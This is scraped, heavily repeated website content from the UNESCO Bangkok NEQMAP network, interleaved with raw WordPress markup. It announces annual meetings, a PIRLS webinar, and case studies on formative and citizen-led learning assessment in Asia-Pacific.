As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download 